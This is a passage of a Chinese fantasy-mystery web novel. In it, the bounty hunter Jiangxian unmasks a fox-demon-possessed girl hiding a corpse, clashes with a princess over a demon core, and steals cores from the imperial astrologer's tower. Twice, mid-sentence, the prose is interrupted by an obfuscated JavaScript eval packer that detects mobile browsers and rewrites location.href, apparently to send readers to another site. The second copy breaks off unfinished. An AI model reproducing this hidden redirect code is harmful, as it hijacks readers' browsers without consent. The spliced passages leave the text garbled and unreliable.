白靴轻轻晃动,少女问:“现在没有其他人在场了,你可以告诉,你究竟有没有发现什么异常?” 小夫人小心翼翼地吞了吞口水,不敢直视绛仙的眼睛,低低垂着头半晌才道:“有一些。” “一些?哪些?”绛仙把玩着耳边的小辫子,好整以暇地等着对方的回答。 小夫人道:“娇儿,娇儿有些不对……” “你一定要让我一句一句问吗?” 威胁似的声音传入耳中,她周身一颤,忙道:“其实也算不上什么大事,就是我总觉得她的身上有奇怪的味道,像是腐臭又像是狐骚味。” “其他人都不知道?”绛仙问。 她摇摇头:“不知道,我怕她会因为这件事自卑,被别人欺负,所以就没有告诉任何人。我甚至还把我的香粉分给她,让她遮一遮味道,可这也只是治标不治本,我之前还想带她去医馆看看,可她不愿意,我就没有再勉强。” “她身上有怪味,你就不觉得奇怪?而且刚刚我问的时候,你为何不说?莫非,你知道她是妖,是你在养着她?”绛仙缓步来到她面前,凑近后盯着她的眼睛。 被这样盯着,是完全撒不了谎的。 小夫人顿时慌了神,连连摆手道:“不是的,我没有养妖,她也不是妖!” 在绛仙一句接着一句的质问下,她总算是说出了缘由。 一年前的冬天,她外出去帮卢夫人取衣裳,回来时便看到娇儿衣不蔽体的缩在卢府外的墙角,浑身被冻得青紫。出于怜悯,她脱下了自己的外袍披在娇儿身上。 娇儿生得不算惊艳,但也算不上普通,只靠近看的那一眼她就有些忧心娇儿的未来。 她深知美貌对于一个无钱无势的女子来说不是恩赐,是诅咒。她怕娇儿会被人牙子抓去卖了,若是找个好夫家还好,就怕她会被卖到青楼被迫去做皮肉生意。 于是,当晚她就偷偷将娇儿带回了府,给她换上了自己的衣裳,然后梳洗了一番。 后院之事向来都是由卢夫人所管,卢夫人精明能干,眼里容不得沙子。她担心娇儿会被卢夫人给赶出去,所以在之后的一段时间都是将自己的饭菜月俸分出一半来,以供娇儿生活的。 就在一起生活的这些天里,她发现了娇儿身上的怪味,娇儿解释说自己本是乡下村妇,日日喂养牲畜才沾上的气味,她已经被那味道给浸透了,祛不掉的。 她怕再问下去会让娇儿愈发自卑,于是便没有再过问,只是经常给她送些香粉香囊之类的东西,让她遮盖身上的怪味。 她的月俸不多,供养娇儿的计划必定不能长久,好在没过多久,卢夫人就莫名给她涨了月俸,虽然有些奇怪,但她还是十分欣喜。 因为多的那些银钱正巧能供娇儿生活。 这样一来,她自己也不用过分拮据了。 一直等到新挑下人入府的时候,她买通了管事的,让他把娇儿混下人里,成功招揽入府,做了她的丫鬟。 这些日子来,她几乎是将娇儿当做亲生姐妹一样对待的,甚至连卧房都安排在自己附近,单独一间。 “我当时不说是因为在场的人太多了,我怕她会因此被别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850693|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人欺负,也落了她的面子,姑娘家嘛……但是,她是绝对不会做出任何伤天害理的事情的,我以我这条命作保!”她高举起自己的手,对着绛仙发誓。 “要是她做了呢?”绛仙问。 小夫人决绝道:“不会的。” 绛仙沉默了片刻,忽得发出一声轻笑,分明真相都摆在眼前了,还要坚持自己的想法。 “既然你不相信,那我们就去看看。” 说罢,她强硬地将小夫人一把拉起,出了房门直直朝着娇儿的卧房走去。 绛仙一脚踹开门,听娇儿惊呼一声,赶忙穿上了衣服。 “姐……小夫人。”她行了一个礼,然后怯生生地看着绛仙。 绛仙一挥衣袖,点亮了屋内的蜡烛,随后快步走到娇儿的床榻边上,对她喝道:“让开。” 娇儿似乎有些害怕,拢了拢衣裳后小跑到小夫人身边,用手搂住她。 绛仙唤出玉剑,对着床榻一劈,竹席连带着床板都被劈成两半,一股恶臭扑鼻而来,娇儿和小夫人双双捂住的鼻子。 绛仙让开身子,将床榻底下的东西展露在两人面前,紧接着两人都不住深吸一口气。 那床榻里面,竟赫然摆放着一具早已腐朽的尸体! 就在这时,门外响起一阵急促的脚步声,闯入的卢玉田看到愣在原地的小夫人和泪眼朦胧的娇儿,赶忙上前揽住两人,关切道:“你们没事吧?” 长徽和谢如恙则是快步走到绛仙身边,看到床榻内那具尸体的尊容时谢如恙不住呕了一声。 长徽蹙眉,问:“这是?” 绛仙看向娇儿,问:“证据摆在眼前,你还不承认吗?” 娇儿强忍住泪水,好不可怜,“这东西好可怕,我不知道它为什么会在我床下,我真的不知道我要承认什么……” “是啊,娇儿向来柔弱,这怎么会是她做的呢?”卢玉田一边帮小夫人顺着背,一边帮娇儿辩解,而卢夫人只是站在一边,淡淡地看着他们。 “哦?是吗?那你现在把所有人都叫过来,我们一个一个认。”绛仙靠在墙边,等着卢玉田的动作。 卢玉田沉思许久,谢如恙正准备开口劝说,却被他打断:“谢兄不必说了。”随后,他吩咐下去,让府中所有人都来此处认领尸体。 全府上下再次齐聚,只是这一次他们脸上的表情不再是奇怪,每一个凑近看过尸体的人都忍不住倒吸一口凉气,然后带着惊恐和恶心的表情离开。 绛仙十分耐心地等着他们都辨认完毕,直到最后一个人摇头离开,才道:“现在呢?” “说不准是有人刻意诬陷呢?”卢玉田的表情不甚好看。 绛仙阴阳怪气道:“卢大人好生关心下人啊。” 卢玉田似乎被触到了霉头,表情一变,不再说话了。 绛仙直起身,踱步到尸体边上,目光在众人脸上一一扫过,最后停在娇儿脸上。她用剑抵住尸体的头颅,对所有人道:“既然没有人愿意认下这具尸体,那我把它给毁了,你们都没意见吧?” 闻言,谢如恙赶忙上前按住她的手,劝道:“就算没有人承认你也不能毁尸灭迹啊!死者何辜。” 绛仙毫不留情地推开他,继续道:“我数三声,一……二……” 剑光一闪,长徽正要上前阻拦却又一道身影先一步扑到尸体上,用自己的身体隔开了绛仙的剑。 “不要,不要伤她了……” 娇儿护着尸体,眼中没了方才的楚楚可怜,有的只剩下万分的惊恐。 “她没有做错什么,是我是我害了人,你们饶了她吧!” 绛仙缓缓收起剑,眼中的狠厉不再,转而对着对面的众人挑了挑眉,“好了,解决。” 这时,小夫人才慢慢回过神来,看着娇儿,不可置信道:“你……你为何?” “我有冤屈,我有冤屈……” 卢玉田厉声质问:“有冤屈你不去官府报官,你隐瞒身份来我府中作甚?!” 11. 争锋 娇儿抱着尸体,双目赤红的看着卢玉田,“那是因为官府洗刷不了我的冤屈,也不能帮我报仇雪恨。我要亲手杀了我的仇人,让他去地下给我嫂嫂道歉!” “什么仇人什么嫂嫂?”卢玉田一脸不知所云,一甩衣袖,无情道,“我从未见过你,何时害过你的嫂嫂?” “不是你。”娇儿摇头,“是你那位同在官场的堂兄!” “堂兄?”卢玉田更不明所以了,“我兄弟姐妹甚多,你又说的是我哪位堂兄?” 娇儿咬牙切齿道:“两年前,他判错了案子,害得我嫂嫂枉死。他怕自己被惩罚,所以不惜抛弃官位前来投奔你,你不记得了吗?他叫卢相泽!” “卢相泽?”卢玉田想了好久才想到这人是谁,愕然道,“可是他早在两年前就投河自尽了啊?” 娇儿脸上突然闪过一丝空白,随后又凶狠道:“投河自尽?我看是假死逃脱吧!” 卢玉田一甩长袖,信然道:“他确实已经死了,尸体就在我家祖坟埋着,你若不信大可前去挖开了看看。” 这突如其来的消息让娇儿变得有些茫然。 她不惜出卖自己的身体和狐妖做交易,两年来日日夜夜都在煎熬之中,支撑她走下去的就只有满腔的恨意,可如今仇人身死,好像她做的一切都成了笑话。 一边,谢如恙低着头不知道在想什么,长徽则是疑惑发问:“他为何会投河自尽?” 卢玉田指指娇儿,道:“她不是说了吗?判错了案子,不知如何面对百姓和父母,投河自尽了呗!” 紧接着,他又嗤笑一声:“不过我这位堂兄也是可笑,从小就喊着要造福百姓,当一个好官替百姓做主,结果考试考了半辈子,好不容易当了个小官却因为手下的人不够细致判错了案子,等到罪犯的尸体都凉透了才发现凶手根本就不是她。百般愧疚之下,在来找我的路上就投河自尽了。” “做错了事情不该认错伏法吗?他既然敢一死了之,为何不愿还受害者一个清白?”长徽不解道。 卢玉田摊开手,“一个人被判死是要经过一层又一层的批准,最后才送到他手上判决的。不认,这最多就是一个小失误,大事化小小事化了也就没什么好说的了,要是认了,那受罚的可就不止他一个人了,往下一条线,没有一个人能幸免。” “可这对死者来说太不公平!”长徽蹙起眉。 “没办法,官场如战场,只不过血不洒在明面上罢了。”卢玉田叹了一声,“要做就要做得滴水不漏,否则自己断了自己的后路,也就只剩死路一条咯!可不是什么人都能做官的,只凭一腔热血?哈……” 长徽放在身侧的手缓缓握起,心中五味杂陈。娇儿却对着卢玉田吼道:“你以为你就很清醒吗?四处留情风流成性,你对得起家中妻妾吗?” 闻言,卢玉田轻笑一声,缓缓走到娇儿身边,随意道:“别的我不敢自夸,除过清醒二字。高门嫁娶不过各取所需,我给她们过活的一方天地,妻为我理家,妾于我取乐,没有谁对不起谁。再说,能力出众和风流成性并不冲突,不要对某些聪明人抱有太高的期待啊。” 不远处,卢夫人正有条不紊地差遣着下人收拾残局,听到卢玉田的话也只是淡淡瞥了娇儿一眼,然后继续忙活自己的事情。 绛仙缓缓蹲下身,问道:“这么说,你是为了报仇才和狐妖做交易的?” 此时此刻,娇儿满腔的怒火被仇人的死讯浇灭,竟一时不知道要用什么样的情绪来面对这个消息。 “是。”她愣愣点头。 “你可知这是要以自己的身体为代价的?” “我不怕,我只想给嫂嫂报仇,哪怕是死。”娇儿轻轻握住了嫂嫂早已腐烂的手,泪水忍不住地决堤,“哥哥走得早,从小到大一直都是嫂嫂在照顾我,为了我有个家,她甚至没有想过要改嫁。好不容易我长大了,可以做些手工活补贴家用,没想到一个员外的儿子看上了我,想让我做他的小妾,我不肯,他就要用强的,嫂嫂是为了保护我才和他起冲突的,没想到没过多久那人就被仇家给杀了,他们都说是我嫂嫂杀的。一番严刑逼供下,我嫂嫂只能承认,可是……可是……” 她说不下去了,泪水滴在怀中的尸体上,冰冷的尸体又一次沾染上了生人的温度。 绛仙看着她,心中涌出一种奇怪又陌生的感觉,她将手放在胸前,心跳是正常的。 那种感觉又是怎么回事呢?酸,涩,呼吸都变得困难了…… “别哭了。”绛仙不知道要说什么,压下那丝怪异的情绪后问:“那狐妖又是怎么回事?” 娇儿哽咽道:“我当时想给嫂嫂报仇,自己又没什么本事,所以就遇到了这只狐妖,她说她愿意帮我,帮我来到汴京找到卢家,代价是让她附在我身上。白日归我,夜晚归她,她不干涉我的事情,我也不干涉她的事情,等我报完仇就把我的身体给她。 “那现在应该是她的时间,你为什么会出来?”绛仙又问。 “因为我怕你真的会毁了嫂嫂的尸体,所以不知道怎么的我就出来了……”娇儿轻柔的抚摸着嫂嫂的尸体,却突然发现自己的手背不知什么时候已经长满了褶皱。 她一怔,下意识地抬头却将卢玉田等人吓了一跳。 就在刚刚的几次呼吸之间,她整个人迅速开始衰老,头发变得花白,脸上也满是皱纹,分明是年轻貌美的姑娘却在霎那间变成了风烛残年的老媪。 长徽讶然,灵体离开供养人的身体后供养人的身体就会急速地衰老,娇儿的身体突然变成这样那就说明,狐妖已经离开她的身体了。 那狐妖去了哪里?他为什么完全没有感受到狐妖的出现? 除非…… 此时此刻,她已经寄生在另一个人身上了! 长徽连忙喊道:“当心身边!” 可是来不及了,只见众人盯着他的背后,瞳孔皱缩,小夫人用手指着他身后,惊恐地道:“身后……” 长徽一愣,身后疾风骤起,还没等他转过头就听绛仙发出一声轻笑:“不会吧,不会真的有妖,自投罗网吧?” “什么?”长徽转过身时绛仙正握住谢如恙的手腕,笑吟吟地看着他。 “你想进去可以,出来的话可就要付出些代价了。把这些人都带走。” 长徽知道,后一句是对他说的。 于是,他很快的将围在附近的众人都疏散开来,除了已经无法行动的娇儿和她怀中抱着的尸体。 “娇儿!”小夫人甩开卢玉田的手冲着蹒跚倒地的娇儿跑去。 卢玉田眉头皱得极深,明眼人都能看出来这人活不了了,就算不被狐妖杀死也会很快老死,完全没有救的必要,他可不想因为这样一个回天无力的人折了自己府中之人。 “回来!”他喝道。 可是那小夫人好像没有听到他的叫声一样,继续朝着娇儿跑去。 娇儿怀里还抱着尸体,小夫人一手拉着一个想要带她们两个离开,可是以她的力气怎么可能拉得动一个人和一具尸体的重量? 另一边,谢如恙那双泛着红色的竖瞳一转,定在倒地的娇儿二人身上。 下一刻,他双手握成爪,猛得跃起冲破了房顶,屋瓦瞬间成了碎片,房 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那张笑脸上明晃晃嵌着一双狐狸眼,一眼就能看出她正是面前这只狐妖,至于那道看不清容貌的碧落身影,绛仙下意识就想到了谢如许。 他为什么会出现在狐妖的记忆里? 就在她愣神的间隙,一位不速之客从天而降,如风一般将那颗妖丹裹挟着离开。 绛仙回过神,定眼看向来人,那人站在房顶上,一身青白玉色,腰间坠着几枚铜钱,看着清苦朴素,但行为举止和眉眼之间却端了几分王孙贵族的凌人气质。 见绛仙朝自己看来,板正地向她行了一礼,道:“姑娘辛苦,接下来就交给在下处理吧。” “妖丹还我!”绛仙当然不能眼睁睁看着自己辛苦拿到的猎物落在别人手里,飞上屋顶就要将那颗妖丹夺回。 这时谢如恙才幽幽转醒,长徽一边忧心绛仙,一边又要照顾谢如恙,此刻见他醒了,只好优先关切手边:“谢公子可还好?” 谢如恙皱了皱眉,然后大大地伸了个懒腰,“睡得好舒服……” 长徽一噎,转而看向绛仙,谢如恙也跟着他往上看去,只见绛仙架住了青年的两条胳膊,将他死死定住。 谢如恙正要喊停,未曾想一支利箭从两人身后射出,擦着长徽的耳朵朝着屋顶两人的方向射去。 长徽惊道:“当心!” 绛仙反应极快,半空截住那支箭反手朝着射出的方向扔去。 青年乘机跃下房檐,对着谢如恙微微一笑:“谢二公子,久违。” 谢如恙拱手:“明璟兄!” 绛仙见此也从房上跃下,没给那位叫明璟的青年离开的机会,钳住他的手,可还没等她开口,一队身穿甲胄的士兵便将几人团团围住。 下一瞬,一道陌生的声音泠然响起:“多谢几位相助,接下来的事情便不用你们关心了,你们可以走了。” 声音由远及近,来人在众人的注视下从人群后走出,而卢玉田正恭恭敬敬地跟在她的身后。 她穿着一袭群青色的锦衣,一边广袖垂下,一边束袖置于腹前。 神情淡漠,如同悬在高山之上凛凛不可侵犯的古松,一眼厚重,一眼生畏。 饶是在人前放浪形骸惯了的谢如恙,此时也闭了嘴,恭敬地对着她行了一礼。 绛仙大概猜到了,她应该就是谢如恙之前说过的那位长公主。 即便如此,她还是抱臂站在原地,毫无波澜的看着她,“夺他人之功,这就是所谓皇室的作风吗?” 12. 天子 赵袂没有转头,只是缓缓朝绛仙的方向投去一道淡然的目光,她并没有开口说话,绛仙也没有,但在场的所有人都感受到了两人之间针锋相对的气氛。 一时间,竟是连呼吸声都变得轻了不少。 “看我做什么?我说错了吗?”绛仙右眉一挑,全然不将谢如恙扯自己袖子的动作放在心上。 “妖是我先找到的,妖丹又是我一个人拿到的,现在却到了你的手里,这不是抢是什么?” “大胆!”赵袂身边的一个小侍怒斥道,“哪里来的黄毛小儿,竟敢如此口出狂言?普天之下莫非王土,天下的东西又哪样不是归皇家所有?你一个抢字,难道是要叛上不成?来人……” 话没说完,赵袂侧目看了他一眼,那小侍顷刻闭上了嘴,安静顺从地退至一边。 此时,那位唤作明璟的白衣少年对着绛仙微微俯身,替赵袂解释:“姑娘误会了,此妖修炼百年,为祸一方,其妖丹定也是极其凶险,若是落入有心之人手上,怕是会造成一些无法预料的后果。保险起见,此物还是由我们翦星楼暂时保管为好。” “有心之人?你是说我会拿这东西去为祸一方?”绛仙冷冷道。 明璟轻轻摇头,“自然不是,姑娘聪慧机敏,一眼看去便不是作恶之人,我们只是担心这妖丹会给姑娘带来祸患,得不偿失。” 虽然这人说得彬彬有礼,关心备至,但绛仙不难听出这番话之外的意思:担心她拿这妖丹作乱,担心妖丹在她手里会被别人抢走作乱。 话里话外都是在质疑她的能力,好像随便来个人都能从她手里把东西拿走一样。 绛仙眉间蹙起,放在身侧的手也渐渐握成拳。 “那你就是在怀疑我了?”绛仙嗤笑一声,声音中带上了隐隐杀意,“那我就让你们亲眼看看,有没有人能从我手上抢东西,又有没有人敢从我手上抢东西!” 拳风带起发带飘扬,下一瞬却被谢如恙给按了下来。 “等等,你先冷静啊,冷静!”谢如恙看着周围提起刀戟的护卫心都快提到嗓子眼了,一边拉着绛仙一边对长徽使眼色:拦一下,拦一下啊! 谁知,长徽却负手站在原地岿然不动。 “此物确实是阿绛姑娘先拿到的,按照先来后到,这也该归她所有,夺他人之功,着实不妥。”长徽大概也是记得谢如恙提过的通缉令,所以在说到绛仙的时候没有叫她的名字。 谢如恙暗暗叫苦,想着这两个人怎么一个比一个轴?若是今日真的打起来了,那事情可就大了! 赵袂眸中微动,抬起手来,周围的护卫便齐刷刷地放下了手中的武器。 她对着绛仙微一颔首,平淡道:“此物珍贵,来日我必以同等的金银补上,今日就先告辞。” 说罢,她转身拂袖离去,仿佛不愿与旁人过多纠缠。明璟对着谢如恙三人行过一礼后也很快跟上。 甲胄碰撞的声音逐渐远离,卢玉田看向绛仙,随后露出一个讳莫如深的笑容,“谢兄这位朋友还真是心直口快,不慕权贵啊。” 这话意有所指,绛仙还没来得及发作他便也转身离开了。 断壁残垣中只留下了绛仙、谢如恙和长徽三人。 绛仙愤愤甩开谢如恙的手,斥道:“你拦我做什么?那个劳什子长公主要拦,那个卢玉田也要拦,你把我当什么?任人揉扁搓圆的面团吗?” 谢如恙连连解释:“当然不是!如果我不拦你你就和他们打起来了,那可是当朝长公主,掌生杀大权,若你真的对她动了手那就是叛上,得杀头的!” “杀头?让她来啊!看看是她先把我的脑袋斩下来还是我先一剑攮死她!”绛仙怒气涌上心头,恨不得把谢如恙按在地上打年糕似的捶打一通。 谢如恙心下委屈,控诉道:“你们厉害,一个赏金猎人一个世外仙君,他们当然不能拿你们怎么样。可我和我哥不一样啊,我们跑不了又打不了,除了等死什么都做不了。我家世代忠良,若是因为弑君叛上的罪名被斩了,我和我哥九泉之下都无颜面对列祖列宗了!” 闻言长徽心下一动,谢如恙一副热心肠,给了他二人住处还愿意帮他寻亲,若是真因为此事害的他家破人亡,实属恩将仇报。 于是,他收敛了眉色,抱歉道:“如此一说,是我方才考虑不周了,抱歉。” 绛仙却竖眉:“你道什么歉?他怎么面对列祖列宗和我们有什么关系?再说要是人人都贪生怕死,畏惧权贵,那这世上的公平何在,公理何寻?” 前一句长徽还想着反驳,毕竟他是真的把谢如恙当朋友的,可绛仙的后一句出来,他竟又有些动摇了: “这么说倒也对,此事本就是绛仙姑娘有理,若只是因为不敢触怒权贵,而扼杀了她想要追求真理的想法,那对她来说也太过不公平了。” 谢如恙深吸一口气,“总不能因为所谓的真理让自己的家人朋友丢了性命吧?要是求个公平要付出这么大的代价,那还不如当没看见呢!反正也只是一颗妖丹,一点小事……” 他扁起嘴,质问长徽,“那我问你,虚无缥缈的真理和你就在身边的亲人,你选哪个?” “我……”长徽沉默了,过了很久才吞吞吐吐地道,“似乎也有道理。” “一个窝囊鬼一个墙头草,我真的疯了才会和你们在这儿浪费时间!”绛仙懒得再和这两个人扯东扯西,正要扭头离开却被谢如恙扯住了手臂,她没好气地问:“又要干什么?我走都不能走了?” 谢如恙还是不放心地劝道:“人家都给你报酬了,你就当是做了一笔买卖,别再纠缠了。” 绛仙冷笑一声,“买卖也是我想做才算买卖,我不愿意那他们就是偷是抢,别想给点钱就打发了我!” 她甩开谢如恙的手,语调沉沉:“我和你们可没关系,少拿你自己的规矩来约束我,我一人做事一人当,用不着你们在这儿哭天喊地。” 说罢,绛仙一甩衣袖,跃上屋檐,很快就消失在了茫茫夜色之中。 谢如恙想出声叫住她,无果。只能在原地独自生闷气。 长徽抬头望向绛仙离开的方向,又回首看看谢如恙,纠结许久,才小心翼翼地开口:“其实,你们说的都对,只不过是立场不同罢了。” 谢如恙没有回话,只是闷闷道:“先回去吧。” 看着他落寞离开的背影,长徽心中暗暗叹气: 与人交往,果真是一件极其困难的事情呢…… 离开前,他再次回头深深看着这片断壁残垣一眼,心中仍有顾虑。 方才听那娇儿的意思,狐妖杀人是为了重聚灵力,那把尸体投入护城河中又是为何?直接吃了不是更为方便,还不易被人察觉?偏偏要投入河中,偏偏要被人发现…… 他总觉得这背后应该还藏着些什么不为人知的事情,比如那狐妖从何而来,为何要选娇儿做交易,可如今狐妖一死,一切都成了未知。 他垂下眼,摇了摇头不再深思。 反正如今狐妖已除,不会再有人殒命,追究其因果也不过画蛇添足,自然也不必再想了。 …… 夜风带着一阵冷意吹过,绛仙深吸一口气,用这股冷气将肺腑都洗涤了一遍,心中的怒火还是没有消散,反而越想越气。 抢自己东西还看不起自己,每一件事都越过了她的心中的那道雷池,让她想把对方狠狠地痛扁一顿,然后拉到谢如恙面前让他看看! 看什么?绛仙一愣,让他看干什么?她也没丢人现眼到让一个娇气少爷证明自己吧? 月朗星稀,时而有鸟雀飞过,周围安静得不像话。 绛仙摇摇头把脑内的东西甩出去,随后轻飘飘跃过墙檐,借着月光打量起面前的这座高楼——翦星楼。 方才那个叫明璟的提到过,这里是供国师观星炼丹的地方。 至于那个国师,绛仙和有所耳闻。据说那人常年披着一身黑袍,没有人见过他的脸,也不知是男是女,更没有人知晓他的过去,整个人就像是凭空出现的一样。 平日里也是来无影去无踪,神秘至极。 可就是这样一个不知底细的人却能得长公主和皇帝如此信任,这不由让绛仙猜测他们之间藏着什么见不得人的秘密。 比如,收集妖丹。 她可不信这些人拿走妖丹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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正当她准备离开的时候,一幅被挂在角落的画却吸引了她的注意,倒不是画得有多好,只是在这一群张牙舞爪的鬼画符里显得格外正常罢了。 这幅画中有月、有楼、有石桥、有溪流,还有两个人骑马并行,落款处留了作画之人的名字:赵成江。 绛仙略微思索,确定自己从来没听过这个名字后便继续往里走去。 她找得没错,最里面的这间屋子正是用来存放妖丹的地方!木架子和外面的丹炉一样排列得十分整齐,一分一厘都没有偏差。 在这架子上密密麻麻放着的都是妖丹,绛仙一时分不清这些都是什么妖的妖丹,但也不妨碍她一股脑地把妖丹装进随身的袋子里。 东西太多,装妖丹的袋子被撑得鼓鼓囊囊的。 一炷香后,绛仙看看空荡荡的木架子,再拍拍腰间的袋子,颇为满意地离开了。 翦星楼在皇宫内廷的最角落,站在最高层便能俯视整个内廷。 本着“来都来了”的理念,绛仙决定先在这宫内逛一逛再离开。 皇宫自然是威严庄重又极尽奢华的,行走在宫殿之间,仿佛耳畔就有悠悠的丝竹之声响起。也不怪自古以来不少人都为了皇帝的位置厮杀了。 只是此刻在宫内回响的并非是觥筹交错的丝竹和磅礴大气的编钟,而是一阵凄凄切切,仿若呜咽的萧声。 绛仙循着声音去找那萧声的源头,却看到一位病恹恹坐在池边的散发少年。 这少年看着不过十五六岁,想来也该是意气风发的年纪,可他却是与他的萧声一般,格外的忧郁,就连端坐也好似奔丧。 倒是与那位似病非病的柔弱公子截然不同。 此念一出,绛仙惊起了一身鸡皮疙瘩: 她怎么又想起来那个莫名其妙的谢如许了?她疯了吧? 她用力地摇着脑袋,同时不远处的一扇门徐徐打开。 屋内走出的正是不久前还和她对峙的赵袂,只是此时她换上了一身素衣,少了三分威严,多了几分亲切。 她摸摸少年的头,刻意的放轻了声音,似乎是怕自己的声音会将面前这“瓷娃娃”给震碎了一样:“阿胤,我听宫人说你今日又没有吃药,还把药碗给打翻了?” 少年放下紫竹萧,眼也跟着垂下,像是一只被淋湿了的小狗,发出的声音也是同呜咽一般:“阿姊,我不想吃药。” 阿姊? 绛仙一惊,面前这位气若游丝的孱弱少年竟然就是当今的天子?! 13. 两清 赵袂放在少年发顶的手顿了一顿,随后轻声安抚道:“阿胤听话,吃了药,身体才能好起来。” “可是,我不想好起来。”少年伸手环住赵袂的腰际,身体仿佛是一只渴求关注的幼鸟,声音却似赌气一般。 因为体弱多病,他头发也有些泛黄。赵袂放下了手,严肃道:“莫要胡说,身体不好起来你如何治国理政,难道要让我帮你一辈子吗?” “未尝不可。”少年闭上了眼睛,双臂逐渐收紧了些,他近乎偏执地道,“如果身体好起来你就要离开我,那我宁愿这一生都缠绵病榻,永远不要起来才好!” “赵承胤。”赵袂权当这是孩子气的玩笑话,推开紧紧抱着自己的少年,蹲下身直视他的双眼,“你是天子,是大昭的皇帝,所有的权力都在你手上,所以你说出口的每一句话必须得经过深思熟虑,绝对不能意气用事,这样的话日后不要再说了。” 面对长姐认真的教导,赵承胤垂下眼,轻声道:“权力吗?可我分明和她们说,不要告诉你我没有吃药的……” 闻言,赵袂一愣,赵承胤继续道:“连她们都不听我的话,我真的是皇帝吗?” “阿胤……”赵袂的眼神中隐忍,半晌才收起情绪,站起身来,轻理着衣袖道:“好了,很晚了,吃了药就会去休息吧。” 赵承胤也没有多说什么,在赵袂的注视下十分乖顺地喝完了药,进入寝殿休息。 确认赵承胤睡下了,赵袂才转身出门。此刻,明璟早在殿外等候多时了,见她来,立刻上前道:“殿下,出事了。” 赵袂俊眉蹙起,变回了那个威严的长公主,沉声问:“什么事?” “翦星楼被盗了。” 几乎是在话音落下的同时,赵袂脑海中就浮现出了绛仙的模样。她凝眉问:“今晚遇到的那位姑娘,你可知其身份?” 明璟压低声音答道:“回殿下,她正是您要寻的那位妖丹猎手,绛仙。” 赵袂暗舒一口气,思忖片刻对明璟道:“此事全权交由我便好,不必劳烦国师了。” 明璟低眉应:“是。” 离开前,赵袂回头往寝宫内看了一眼,烛火没有熄灭,还能映出守夜宫女的影子。 那孩子害怕黑,害怕一个人,她是知道的。若他生在寻常人家,自己一定会对他万般宠溺,可偏偏他生在了帝王家,可偏偏,他坐上了这皇位,每时每刻都被无数的目光盯着。 她轻叹一口气,抬头看向头顶高悬着的明月。 月光洒下,仿佛为青瓦屋檐镀上了一层清辉。 绛仙路过谢府,借着这抹月光看了片刻,心中有些纠结。 先前说的话似乎有些太满了,再留在谢府肯定是不可能了。现在半夜三更的,汴京的客栈又全部满客,自然没有空房供她住。今晚怕不是要流落街头了? 随后,她又转念一想,之前又不是没在外头睡过?找个老树将就一晚也没什么大不了的。 奈何屋漏偏逢连夜雨,她还没走几步就感到头顶一阵清凉,一抬头,天上竟然幽幽下起了小雨。没等她反应过来,那雨势忽得变大,像是什么人拿盆泼下来的一样,猛得浇了她一身,从头到脚几乎都湿透了。 她咬着牙找了处可以挡雨的屋檐,在台阶处坐下。 雨滴恶狠狠地打在地面上,溅起一个又一个水花,深秋的雨是带着寒气的,这让她不由地打了个寒颤。 她抱着手臂,颇为无奈的靠在身边的圆柱上,看着越来越猛烈的雨势心中愈发确定:汴京,克她! 或许是这些天太过劳累,又或许是这雨声实在助眠,她竟然就这么靠着,悠悠地睡了过去。 不知过了多久,噼里啪啦的雨声变成了一声又一声的闷响,扑面的寒意也被一阵草药的清苦取代。 前一刻还在睡梦中的绛仙呼吸一凝,几乎是在瞬间清醒了过来。 ——有人! 她下意识地想要出剑防御,却又发现一丝不对。 来人似乎并没有恶意? 带着疑惑,绛仙睁开眼,缓缓抬起了头。 只见头顶不知何时多了一把油纸伞,而握着油纸伞的人正站在她面前,带着盈盈笑意看着她。 “你来做什么?”绛仙站起身,离谢如许远了些。 “秋雨寒凉,我来接你回去。”谢如许道。 绛仙呛声道:“接我回去?你那个好弟弟没告诉你我都和他说了什么吗?如果不想被牵连至死,最好离我远一点。” 谢如许迈入屋檐之下,侧过伞抖了抖伞上的雨水。 “我来找你和阿恙无关。”谢如许负手立在绛仙身侧一尺处,似乎做好了要长谈的准备。 “那你想做什么?”绛仙拧眉,“你有什么目的?” 她当然知道谢如许的身份不简单,绝不可能只是一个小小的谢府公子,可恨的是她对谢如许的怀疑只能局限于此,再深的信息她挖不出来。 而谢如许明知道她发觉了他身份的不对之处,还偏要在她面前晃悠,这又是什么意思? 于是,她眯起眼,道:“挑衅?” 谢如许眼中闪过一丝惊诧又很快消失,认真解释:“这是示好。” 绛仙一噎,半晌没说出话来。 “你……”她看着谢如许的脸,深思熟虑后才带着关切道,“有病?”她指了指自己的脑袋,几乎要把心里话写脸上了。 除过别有所图,谁会莫名其妙和别人示好?还是在对方冷眼相待的情况下。 谢如许注视着她,仿佛能看穿她此刻的心思。 “虽然我这么说会让你觉得我别有所图,但我还是想告诉你。”他将不再滴水的伞递上,绛仙毫不犹豫地接过了,有便宜不占是傻子。 见她接过了伞,谢如许暗自松了口气,眼中的笑意也更加明显,便继续道:“请你相信我,我绝对不会做出任何于你不利的事情。” “雨势小很多了,这把伞给你。一场秋雨一场寒,这场雨过之后会更冷的,你淋了雨,再吹了风怕是会染上风寒。” 绛仙本想接了伞直接走了了事,可偏偏又注意到了他还在滴水的发尾和早已湿透的双肩。他是撑着伞来的,应该不会淋湿成这样,怕是方才他站在自己面前替自己挡雨时没有遮住自己。 迎着谢如许眼中的盈盈笑意,绛仙突然觉得自己手中的伞有些烫手。 迈开的步子收了回来,她有些不自在地问:“那你呢?” 谢如许轻笑,温声道:“没关系,我等雨停就好。” 绛仙抬头观察,这雨势虽然是小了,但可完全没有要停的意思。等雨停?怕是要等到猴年马月去! 于是,她利落地把伞往谢如许怀里一塞,道:“你回去吧,你的身份我不会告诉谢如恙的,算两清了,你也不用来试探我。” 谢如许拿着伞有些发愣:“你还是觉得我在试探你?” 绛仙不语,算是默认。 谢如许轻轻叹了口气,“也罢,是我太心急了。那今晚你要住在哪里?” 绛仙随意道:“哪里都行,你不用担心。” 